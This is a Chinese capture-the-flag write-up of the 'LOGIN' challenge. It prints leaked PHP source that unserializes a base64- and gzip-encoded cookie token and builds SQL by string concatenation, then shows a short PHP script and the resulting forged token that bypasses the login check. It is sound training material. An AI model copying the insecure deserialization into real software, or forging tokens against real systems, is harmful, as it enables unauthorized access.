ctf-wp“百度杯”CTF比赛 十月场-LOGIN
进去题目看到一个登陆框,老规矩,看源码:
看起来好像没什么有用的信息,突然发现可以下拉。。。
找到test1,test1 (差点没发现T—T)
登陆:
出来了一个莫名其妙的东西。。
上burp抓包看看:
好像没有什么异常,但是仔细观察,发现返回中有个叫“show”的参数,值为零。尝试将参数show添加到请求,值改为1,看结果:
源码来了。
<head>
<meta charset="utf-8" />
</head>
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?> -->(╯‵□′)╯︵┴─┴
可以看到想要echo flag,必须得满足:$login['user'] === 'ichunqiu'
然而token是经过这样处理的:
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
所以将‘ichunqiu’经过
base64_encode(gzcompress(serialize($token)))
处理然后添加到token才能得到flag
<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>
执行一下:
得到:token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
添加到cookie中发包:
bingo